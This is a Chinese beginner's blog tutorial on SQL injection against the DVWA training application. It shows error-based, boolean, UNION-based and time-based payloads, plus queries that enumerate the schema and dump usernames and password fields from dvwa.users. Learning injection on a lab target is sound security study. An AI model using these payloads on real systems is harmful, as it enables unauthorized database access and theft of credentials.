web安全渗透——3(SQL注入+sqlmap)

一、介绍

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。

二、思路

1:寻找到SQL注入的位置

2:判断服务器类型和后台数据库类型

3:针对不同的服务器和数据库特点进行SQL注入攻击

准备的工具:

1,sqlmap

三、开始

1.1测试是否可以注入

1.1.1基于错误的注入

在搜索框里面输入

' 1 

在这里插入图片描述
因为在后端代码里面显示的sql语句是这个

SELECT first_name, last_name FROM users WHERE user_id = ' ' 1 ';

学过mysql都看得出,这个语句是错误的,因此会报异常
在这里插入图片描述
1.1.2基于布尔的注入

在搜索框里面输入(注意最后面有个空格)

’ or 1=1 -- 

在这里插入图片描述
因为在后端代码里面显示的sql语句是这个

SELECT first_name, last_name FROM users WHERE user_id = ' ’ or 1=1 --  ';

这个用or连接了一个为真的true,搜索后会发现:将表里面的部分列全都搜出来了
在这里插入图片描述
1.1.3基于UNION的注入

在搜索框里面输入(注意最后面有个空格)
因为union查询时,后面查询的个数要和前面的数量相同,因此要进行探测,一个一个试,直到不报错,算是探测出来了,里面的数字起占位作用,没有实际意义
探测语句:

'union select 1 -- '
'union select 1,2 -- '
......
'union select 1,2,3,4,5 -- '

例如,用1个试试
在这里插入图片描述
报错了
在这里插入图片描述
用2个试试
在这里插入图片描述
成功了,所以得出结果就是前面的有2个
在这里插入图片描述
开始查询:(查询该数据库服务器包含了哪些数据库及数据库包含有哪些表格)

'union select table_schema,group_concat(table_name) from information_schema.tables group by table_schema -- '

在这里插入图片描述
看到dvwa库里面有两个表,我们看看其中一个表里面的列

'union select table_name,group_concat(column_name) from information_schema.columns where table_schema="dvwa" and table_name= "users" group by table_name -- '

在这里插入图片描述
这时候就可以查询这个表了,就可以拿到这个表的所有信息了,其他表同理

'union select 1,concat(user_id,' - ', first_name,' - ',last_name,' - ',user,' - ',password,' - ',avatar)  from dvwa.users -- '

在这里插入图片描述
1.1.4基于时间的注入

' and sleep(5) -- '

如果发现5秒内,浏览器还没有请求到,就算是有漏洞

2.1 sqlmap自动化注入

看了一点皮毛,感觉还是需要花时间学,这个先跳过

四、总结

其实就是利用sql语句的漏洞进行拼接,进而获取想要的数据库信息

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值